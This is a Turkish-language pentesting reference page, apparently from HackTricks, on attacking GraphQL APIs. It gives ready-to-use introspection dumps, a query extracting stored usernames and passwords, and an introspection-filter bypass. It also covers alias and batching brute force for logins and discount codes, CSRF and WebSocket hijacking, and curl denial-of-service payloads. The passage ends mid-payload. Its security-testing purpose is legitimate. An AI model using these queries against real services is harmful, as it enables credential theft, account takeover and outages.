GraphQL

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Giriş

GraphQL, backend’den veri sorgulamak için basitleştirilmiş bir yaklaşım sunan, REST API’ye göre öne çıkan bir etkin alternatif olarak kabul edilir. REST’in verileri toplamak için genellikle farklı endpoint’lere birçok istek göndermeyi gerektirmesinin aksine, GraphQL tüm gerekli bilgiyi tek bir istek ile almayı mümkün kılar. Bu sadeleştirme, veri alma süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar.

GraphQL ve Güvenlik

GraphQL dahil yeni teknolojilerin ortaya çıkmasıyla birlikte yeni güvenlik açıkları da ortaya çıkar. Önemli bir nokta: GraphQL varsayılan olarak kimlik doğrulama mekanizmalarını içermez. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Uygun kimlik doğrulama olmadan, GraphQL endpoint’leri hassas bilgileri yetkilendirilmemiş kullanıcılara açabilir ve ciddi bir güvenlik riski oluşturabilir.

Directory Brute Force Attacks and GraphQL

Açık GraphQL örneklerini tespit etmek için directory brute force attacks’a belirli path’lerin dahil edilmesi önerilir. Bu path’ler şunlardır:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Açık GraphQL örneklerinin tespiti, desteklenen sorguların incelenmesine olanak tanır. Bu, endpoint üzerinden erişilebilen verilerin anlaşılması açısından kritiktir. GraphQL’in introspection sistemi, bir şemanın hangi sorguları desteklediğini ayrıntılı olarak sunarak bunu kolaylaştırır. Daha fazla bilgi için GraphQL’in introspection dokümantasyonuna bakın: GraphQL: API’ler için bir sorgu dili.

Fingerprint

The tool graphw00f is capable to detect which GraphQL engine is used in a server and then prints some helpful information for the security auditor.

Universal queries

Bir URL’nin GraphQL servisi olup olmadığını kontrol etmek için bir universal query, query{__typename}, gönderilebilir. Eğer yanıt {"data": {"__typename": "Query"}} içeriyorsa, bu URL’nin bir GraphQL endpoint’i barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü gösteren GraphQL’in __typename alanına dayanır.

query{__typename}

Temel Keşif

Graphql genellikle GET, POST (x-www-form-urlencoded) ve POST(json) destekler. Ancak güvenlik nedeniyle CSRF saldırılarını önlemek için yalnızca json’a izin verilmesi önerilir.

İntrospeksiyon

Şema bilgilerini keşfetmek için introspeksiyonu kullanmak üzere __schema alanını sorgulayın. Bu alan tüm sorguların kök tipinde mevcuttur.

query={__schema{types{name,fields{name}}}}

Bu sorguyla kullanılan tüm tiplerin isimlerini bulacaksınız:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Bu sorguyla tüm tipleri, alanlarını ve argümanlarını (ve argümanların tiplerini) çıkarabilirsiniz. Bu, veritabanına nasıl sorgu yapacağınızı bilmek için çok faydalı olacaktır.

Hatalar

Hangi hataların gösterileceğini bilmek ilginçtir çünkü bunlar faydalı bilgiler sağlar.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Veritabanı Şemasını Introspection ile Listeleme

Tip

introspection etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından onOperation, onFragment ve onField direktiflerini kaldırmayı deneyin.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Satır içi introspection sorgusu:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Son kod satırı, GraphQL’den tüm meta-bilgileri (nesne isimleri, parametreler, tipler…) dökecek bir GraphQL sorgusudur.

Eğer introspection etkinse, tüm seçenekleri GUI üzerinde görüntülemek için GraphQL Voyager kullanabilirsiniz.

Sorgulama

Veritabanında hangi tür bilgilerin saklandığını öğrendiğimize göre, şimdi bazı değerleri çıkaralım.

Introspection içinde, hangi nesneyi doğrudan sorgulayabileceğinizi bulabilirsiniz (çünkü bir nesne sadece var diye sorgulanamaz). Aşağıdaki resimde “queryType”’ın “Query” olarak adlandırıldığını ve “Query” nesnesinin alanlarından birinin “flags” olduğunu görebilirsiniz; bu aynı zamanda bir nesne tipidir. Bu nedenle flags nesnesini sorgulayabilirsiniz.

Dikkat edin ki flags sorgusunun tipi Flags ve bu nesne aşağıdaki gibi tanımlanmıştır:

Görüldüğü gibi Flags nesneleri name ve value’dan oluşur. Böylece tüm flag’lerin isimlerini ve değerlerini şu sorgu ile alabilirsiniz:

query={flags{name, value}}

Sorgulanacak nesne aşağıdaki örnekte olduğu gibi bir ilkel tür (ör. string) ise

Bunu şu şekilde doğrudan sorgulayabilirsiniz:

query = { hiddenFlags }

Başka bir örnekte “Query” tipindeki nesnenin içinde 2 obje vardı: “user” ve “users”.
Eğer bu objelerin arama için herhangi bir argümana ihtiyacı yoksa, sadece istediğiniz verileri isteyerek bunlardan tüm bilgileri alabilirsiniz. İnternetten alınan bu örnekte kayıtlı kullanıcı adları ve parolaları çıkarabilirsiniz:

Ancak, bu örnekte bunu yapmaya çalışırsanız bu hatayı alırsınız:

Görünüşe göre bir şekilde Int tipi olan “uid” argümanını kullanarak arama yapıyor.
Zaten bunu biliyorduk; Basic Enumeration bölümünde ihtiyacımız olan tüm bilgileri gösteren bir sorgu verilmişti: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Sorguyu çalıştırdığımda sağlanan görüntüye bakarsanız “user”’ın Int tipi olan “uidarg’ına sahip olduğunu görürsünüz.

Bu yüzden, hafif bir uid bruteforce’u yaparak uid=1’de bir kullanıcı adı ve parola elde ettiğimi buldum:
query={user(uid:1){user,password}}

Belirtmek gerekir ki, “user” ve “passwordparametrelerini isteyebileceğimi fark ettim çünkü var olmayan bir şeyi aramaya çalışırsam (query={user(uid:1){noExists}}) şu hatayı alıyorum:

Ve enumeration phase sırasında “dbuser” objesinin alanlarının “user” ve “password” olduğunu keşfettim.

Query string dump trick (thanks to @BinaryShadow_)

Eğer string tipinde bir alanla arama yapabiliyorsanız, örneğin: query={theusers(description: ""){username,password}} ve boş bir string ararsanız bu tüm verileri döker. (Not: bu örnek tutorial örneğiyle ilgili değildir; bu örnekte varsayalım ki “theusers” adlı alanı “description” adında bir String alanıyla arayabiliyorsunuz).

Arama

Bu kurulumda bir database içinde persons ve movies bulunuyor. Persons, email ve name ile tanımlanır; movies ise name ve rating ile tanımlanır. Persons birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir; bu, veritabanındaki ilişkileri gösterir.

Kişileri name’e göre arayıp e-postalarını alabilirsiniz:

{
searchPerson(name: "John Doe") {
email
}
}

Kişileri isim ile arabilir ve onların abone filmlerini alabilirsiniz:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Kişinin subscribedMovies öğesinin name alanını almak için nasıl belirtildiğine dikkat edin.

Ayrıca aynı anda birkaç nesneyi arayabilirsiniz. Bu durumda 2 film araması yapılmıştır:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ya da hatta takma adlar kullanılarak birkaç farklı nesnenin ilişkileri:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutasyonlar

Mutasyonlar sunucu tarafında değişiklik yapmak için kullanılır.

İç introspeksiyonda bildirilmiş mutasyonları bulabilirsiniz. Aşağıdaki görselde “MutationType” “Mutation” olarak adlandırılmıştır ve “Mutation” nesnesi mutasyon isimlerini içerir (bu durumda “addPerson” gibi):

Bu kurulumda bir veritabanı kişiler ve filmler içerir. Kişiler e-posta ve isim ile tanımlanır; filmler ise isim ve puan ile tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilirler; bu veritabanı içindeki ilişkileri gösterir.

Veritabanına yeni filmler eklemek için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon addMovie olarak adlandırılmıştır):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Sorguda hem değerlerin hem de veri türlerinin nasıl belirtildiğine dikkat edin.

Ek olarak, veritabanı addPerson adlı bir mutation işlemini destekler; bu işlem, yeni persons oluştururken bunların mevcut friends ve movies ile ilişkilendirilmesine olanak tanır. Yeni oluşturulan kişiye bu friends ve movies bağlanmadan önce veritabanında önceden var olmaları gerektiğini belirtmek önemlidir.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

As explained in one of the vulns described in this report, a directive overloading implies to call of a directive even millions of times to make the server waste operations until it’s possible to DoS it.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
GraphQL API üzerinden kimlik doğrulamayı farklı kimlik bilgileriyle aynı anda birçok sorgu göndererek kontrol etmek mümkündür. Bu klasik bir brute force attack’tir, ancak GraphQL batching özelliği sayesinde artık bir HTTP isteğinde birden fazla login/password çiftini göndermek mümkün. Bu yaklaşım, dışarıdaki rate monitoring uygulamalarını her şeyin yolunda olduğuna ve parola tahmini yapan bir brute-forcing botu olmadığına inandırır.

Aşağıda bir uygulama kimlik doğrulama isteğinin en basit gösterimini, aynı anda 3 farklı email/password çiftini içerecek şekilde bulabilirsiniz. Elbette aynı şekilde tek bir istekte binlerce göndermek de mümkündür:

Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü istekler null döndürdü ve ilgili bilgiler error bölümünde yansıtıldı. İkinci mutation doğru authentication verisine sahipti ve yanıt doğru authentication session token’ını içeriyordu.

GraphQL’de Introspection Olmadan

Giderek daha fazla graphql endpoint’i introspection’ı devre dışı bırakıyor. Ancak, graphql beklenmeyen bir istek aldığında fırlattığı hatalar, clairvoyance gibi araçların şemanın çoğunu yeniden oluşturması için yeterli oluyor.

Ayrıca, Burp Suite eklentisi GraphQuail Burp’tan geçen GraphQL API isteklerini gözlemler ve gördüğü her yeni sorguyla dahili bir GraphQL schema oluşturur. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Eklenti bir introspection sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için buna bakın.

GraphQL varlıklarını keşfetmek için güzel bir wordlist burada bulunabilir.

Bypassing GraphQL introspection defences

API’lerdeki introspection sorgularına yönelik kısıtlamaları aşmak için __schema anahtar sözcüğünden sonra özel bir karakter eklemek etkili olur. Bu yöntem, introspection’ı engellemeye çalışan regex desenlerinde geliştiricilerin sık yaptığı ihmalleri istismar eder; bu desenler genellikle sadece __schema anahtar sözcüğüne odaklanır. GraphQL’in yok saydığı ancak regex’te hesaba katılmamış olabilecek boşluklar, yeni satırlar ve virgüller gibi karakterleri ekleyerek kısıtlamalar aşılabilir. Örneğin, __schema’dan sonra bir yeni satır içeren bir introspection sorgusu bu tür savunmaları atlatabilir:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Başarısız olursa, kısıtlamalar yalnızca POST isteklerine uygulanıyor olabilir; bu yüzden GET requests veya POST with x-www-form-urlencoded gibi alternatif istek yöntemlerini düşünün.

WebSockets’i Deneyin

this talk’ta bahsedildiği gibi, WebSockets aracılığıyla graphQL’e bağlanmanın mümkün olup olmadığını kontrol edin; bu, olası bir WAF’ı atlatmanıza ve websocket iletişiminin graphQL şemasını leak etmesine izin verebilir:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Açığa Çıkmış GraphQL Yapılarını Keşfetme

Introspection devre dışı bırakıldığında, JavaScript kütüphanelerindeki önceden yüklenmiş sorguları tespit etmek için sitenin kaynak kodunu incelemek faydalı bir stratejidir. Bu sorgular, geliştirici araçlarındaki Sources sekmesi kullanılarak bulunabilir; API’nin şeması hakkında bilgi sağlar ve potansiyel olarak açığa çıkmış hassas sorguları ortaya çıkarır. Geliştirici araçlarında arama yapmak için kullanılacak komutlar şunlardır:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Hata tabanlı şema yeniden oluşturma & engine fingerprinting (InQL v6.1+)

Introspection engellendiğinde, InQL v6.1+ artık yalnızca hata geri bildirimlerinden ulaşılabilir şemayı yeniden oluşturabilir. Yeni schema bruteforcer, yapılandırılabilir bir wordlist’ten aday alan/argument isimlerini partiler halinde toplar ve HTTP chatter’ı azaltmak için bunları çok alanlı işlemlerde gönderir. Faydalı hata desenleri daha sonra otomatik olarak toplanır:

  • Field 'bugs' not found on type 'inql' üst türün varlığını doğrular ve geçersiz alan isimlerini eler.
  • Argument 'contribution' is required bir argümanın zorunlu olduğunu gösterir ve yazımını açığa çıkarır.
  • Did you mean 'openPR'? gibi öneri ipuçları doğrulanmış adaylar olarak kuyruğa geri eklenir.
  • Kasıtlı olarak yanlış primitive tipte değerler (ör. integers for strings) gönderildiğinde bruteforcer, gerçek type imzasını leak eden tür uyuşmazlığı hatalarını tetikler; bu, [Episode!] gibi liste/nesne sarmalayıcılarını da açığa çıkarır.

Bruteforcer, yeni alanlar veren herhangi bir tip üzerinde yinelemeye devam eder; bu nedenle genel GraphQL isimlerini uygulamaya özgü tahminlerle karıştıran bir wordlist sonunda introspection olmadan şemanın büyük parçalarını haritalandırır. Çalışma zamanı büyük ölçüde rate limiting ve aday hacmiyle sınırlıdır; bu yüzden InQL ayarlarının (wordlist, batch size, throttling, retries) ince ayarı, daha gizli operasyonlar için kritiktir.

Aynı sürümde, InQL GraphQL engine fingerprinter ile gelir (imzaları graphw00f gibi araçlardan ödünç alır). Bu modül kasıtlı olarak geçersiz directives/queries gönderir ve tam hata metnini eşleştirerek backend’i sınıflandırır. Örneğin:

query @deprecated {
__typename
}
  • Apollo Directive "@deprecated" may not be used on QUERY. ile yanıt verir.
  • GraphQL Ruby '@deprecated' can't be applied to queries diye yanıt verir.

Bir motor tanındığında, InQL ilgili girişi GraphQL Threat Matrix üzerinden ortaya çıkarır ve testçilerin o sunucu ailesiyle birlikte gelen zayıflıkları (varsayılan introspection davranışı, derinlik limitleri, CSRF boşlukları, dosya yüklemeleri, vb.) önceliklendirmesine yardımcı olur.

Son olarak, otomatik değişken oluşturma Burp Repeater/Intruder’a geçerken klasik bir engeli ortadan kaldırır. Bir işlem variables JSON gerektirdiğinde, InQL artık geçerli varsayılanları enjekte ederek isteğin ilk gönderimde şema doğrulamasından geçmesini sağlar:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Nested input objects aynı eşlemeyi miras alır; bu sayede sentaktik ve semantik olarak geçerli bir payload elde eder ve her argümanı manuel olarak reverse-engineering yapmadan SQLi/NoSQLi/SSRF/logic bypasses için fuzzed edebilirsiniz.

GraphQL’de CSRF

CSRF’nin ne olduğunu bilmiyorsanız aşağıdaki sayfayı okuyun:

CSRF (Cross Site Request Forgery)

Orada birkaç GraphQL endpoint’inin CSRF tokens olmadan yapılandırıldığını bulabileceksiniz.

GraphQL isteklerinin genellikle POST istekleriyle ve Content-Type application/json kullanılarak gönderildiğini unutmayın.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Ancak, çoğu GraphQL uç noktası ayrıca destekler form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Bu nedenle, önceki örneklerde olduğu gibi CSRF istekleri preflight requests olmadan gönderildiği için, bir CSRF’yi kötüye kullanarak GraphQL’de değişiklikler yapmak mümkün olabilir.

Ancak, Chrome’un samesite bayrağının yeni varsayılan cookie değeri Lax olduğunu unutmayın. Bu, cookie’nin yalnızca üçüncü taraf bir web’den yapılan GET isteklerinde gönderileceği anlamına gelir.

Genellikle query request’in bir GET request olarak da gönderilebileceğini ve CSRF token’ının bir GET isteğinde doğrulanmayabileceğini unutmayın.

Ayrıca, XS-Search attack’i kötüye kullanarak, kullanıcının kimlik bilgilerini kullanıp GraphQL endpoint’inden içerik exfiltrate etmek mümkün olabilir.

Daha fazla bilgi için bakın: original post here.

Cross-site WebSocket hijacking in GraphQL

GraphQL’u kötüye kullanan CRSF zafiyetlerine benzer şekilde, korunmayan cookie’lerle GraphQL kimlik doğrulamasını kötüye kullanmak için Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies gerçekleştirmek ve kullanıcının GraphQL’de beklenmeyen eylemler yapmasını sağlamak da mümkündür.

Daha fazla bilgi için bakın:

WebSocket Attacks

Authorization in GraphQL

Endpoint’te tanımlı birçok GraphQL fonksiyonu, isteği yapanın authentication’ını kontrol ediyor olabilir ancak authorization’ı kontrol etmeyebilir.

Sorgu giriş değişkenlerini değiştirmek, hassas hesap bilgilerinin leaked olmasına yol açabilir.

Mutation, diğer hesap verilerini değiştirmeye çalışarak account takeover’a bile yol açabilir.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass authorization in GraphQL

Aşağıdaki örnekte işlemin “forgotPassword” olduğunu ve yalnızca bununla ilişkili forgotPassword sorgusunun çalıştırılması gerektiğini görebilirsiniz. Bu, sonuna bir sorgu eklenerek atlatılabilir; bu durumda “register” ve sistemin yeni bir kullanıcı olarak kaydetmesi için bir user variable ekliyoruz.

Bypassing Rate Limits Using Aliases in GraphQL

In GraphQL, aliases are a powerful feature that allow for the naming of properties explicitly when making an API request. This capability is particularly useful for retrieving multiple instances of the same type of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name.

For a detailed understanding of GraphQL aliases, the following resource is recommended: Aliases.

While the primary purpose of aliases is to reduce the necessity for numerous API calls, an unintended use case has been identified where aliases can be leveraged to execute brute force attacks on a GraphQL endpoint. This is possible because some endpoints are protected by rate limiters designed to thwart brute force attacks by restricting the number of HTTP requests. However, these rate limiters might not account for the number of operations within each request. Given that aliases allow for the inclusion of multiple queries in a single HTTP request, they can circumvent such rate limiting measures.

Aşağıda verilen örneği inceleyin; bu örnek aliased queries’in mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini gösterir. Bu yöntem, birkaç sorguyu tek bir HTTP request içinde derlediği için rate limiting’i atlatabilir ve potansiyel olarak çok sayıda indirim kodunun eş zamanlı olarak doğrulanmasına imkan tanıyabilir.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading bir GraphQL zafiyetidir; saldırganlar aynı alan için birçok alias kullanarak bir sorguyu aşırı yükler ve bu da backend resolver’ın o alanı tekrar tekrar çalıştırmasına neden olur. Bu, sunucu kaynaklarını zorlayarak bir Denial of Service (DoS) ile sonuçlanabilir. Örneğin, aşağıdaki sorguda aynı alan (expensiveField) alias’lar kullanılarak 1,000 kez talep ediliyor; bu, backend’i onu 1,000 kez hesaplamaya zorlayarak CPU veya belleğin tükenmesine yol açabilir:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Bunu hafifletmek için kaynak kötüye kullanımını önlemek amacıyla alias count limits, query complexity analysis veya rate limiting uygulayın.

Array-based Query Batching

Array-based Query Batching bir GraphQL API’nin tek bir istekte birden fazla sorguyu aynı anda çalıştırmasına izin veren bir zafiyettir; bu, saldırganın aynı anda çok sayıda sorgu göndermesine olanak tanır. Bu durum, tüm toplu sorguların paralel çalıştırılmasıyla backend’i bunaltabilir, aşırı kaynak (CPU, bellek, veritabanı bağlantıları) tüketimine yol açabilir ve potansiyel olarak bir Denial of Service (DoS)’a sebep olabilir. Bir batch içindeki sorgu sayısı için bir limit yoksa, saldırgan bunu hizmetin kullanılabilirliğini düşürmek için suistimal edebilir.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

Bu örnekte, 10 farklı sorgu tek bir istekte birleştirilmiş (batched) olarak gönderilmiş ve sunucuyu bunların hepsini aynı anda çalıştırmaya zorlamıştır. Daha büyük bir batch boyutu veya hesaplama açısından pahalı sorgularla istismar edildiğinde, sunucuyu aşırı yükleyebilir.

Directive Overloading Vulnerability

Directive Overloading, bir GraphQL sunucusunun aşırı sayıda ve yinelenen directives içeren sorgulara izin vermesi durumunda ortaya çıkar. Bu, özellikle sunucu aynı directive mantığını tekrar tekrar işlerse, sunucunun parser’ını ve executor’ünü bunaltabilir. Uygun doğrulama veya sınırlar olmadan, bir saldırgan birçok tekrar eden directive içeren bir sorgu oluşturarak yüksek işlem veya bellek kullanımı tetikleyebilir ve bu da Denial of Service (DoS) ile sonuçlanabilir.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Önceki örnekte @aa özel bir direktif olup tanımlı olmayabilir. Genellikle bulunan yaygın bir direktif @include’dir:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Ayrıca bildirilen tüm yönergeleri keşfetmek için bir introspection sorgusu gönderebilirsiniz:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

Ve sonra bazı özel olanları kullanın.

Field Duplication Vulnerability

Field Duplication, bir GraphQL sunucusunun aynı alanın aşırı tekrarlandığı sorgulara izin verdiği bir zafiyettir. Bu durum sunucunun her örnek için alanı gereksiz yere çözmesini zorlar ve önemli kaynakları (CPU, hafıza ve veritabanı çağrıları) tüketir. Bir saldırgan yüzlerce veya binlerce tekrar eden alan içeren sorgular oluşturabilir; bu, yüksek yüke neden olarak potansiyel şekilde bir Denial of Service (DoS) durumuna yol açabilir.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 